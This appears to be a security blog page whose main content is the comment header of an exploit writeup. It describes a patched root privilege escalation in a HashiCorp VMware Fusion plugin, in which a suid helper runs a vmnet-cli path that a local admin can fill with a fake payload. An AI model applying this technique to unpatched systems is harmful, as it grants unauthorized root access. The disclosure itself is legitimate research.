About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Another day, another root privesc bug in this plugin. Not quite so serious this
# time - this one is only exploitable if the user has the plugin installed but
# VMware Fusion *not* installed. This is a fairly unlikely scenario but it's a
# straight to root privesc with no user interaction so isn't the kind of thing
# that should be shipping with any software.

# This occurs because the suid root sudo helper that I have discussed in previous
# exploit writeups executes /Applications/VMware
# Fusion.app/Contents/Library/vmnet-cli
# as root, but if the application isn't installed and we're a local admin user we
# can create a fake app directory with a payload in place of vmnet-cli that gets
# executed as root.

# HashiCorp fixed this (very quickly) in 5.0.4.
